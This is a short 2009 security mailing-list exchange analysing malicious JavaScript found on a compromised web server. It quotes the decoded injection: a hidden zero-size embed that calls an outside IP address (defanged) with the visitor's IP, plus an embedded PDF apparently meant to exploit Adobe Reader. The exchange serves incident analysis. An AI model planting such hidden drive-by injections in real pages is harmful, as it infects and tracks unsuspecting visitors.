Malicious code just found on web server

[fergdawgster at gmail.com (Paul Ferguson)]

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On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills <securinate at gmail.com> wrote:

> I took a quick look at the code... formatted it in a pastebin here:
> http://pastebin.com/m7b50be54
>
> That javascript writes this to the page (URL obscured):
> document.write("<embed
> src=\"hXXp://77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown|U
> nknown|US|1.2.3.4\" width=\"0\" height=\"0\"
> type=\"application/pdf\"></embed>");
>
> The 1.2.3.4 in the URL is my public IP address (I changed that).
>
> Below the javascript, it grabs a PDF:
> <embed src="include/two.pdf" width="1" height="0"
> style="border:none"></embed>
>
> That PDF is on the site, I haven't looked at it yet though.
>

Most likely a file that exploits a well-known vulnerability in Adobe
Reader, which in turn probably loads malware from yet another location.

We've been seeing a lot of this lately.

- - ferg

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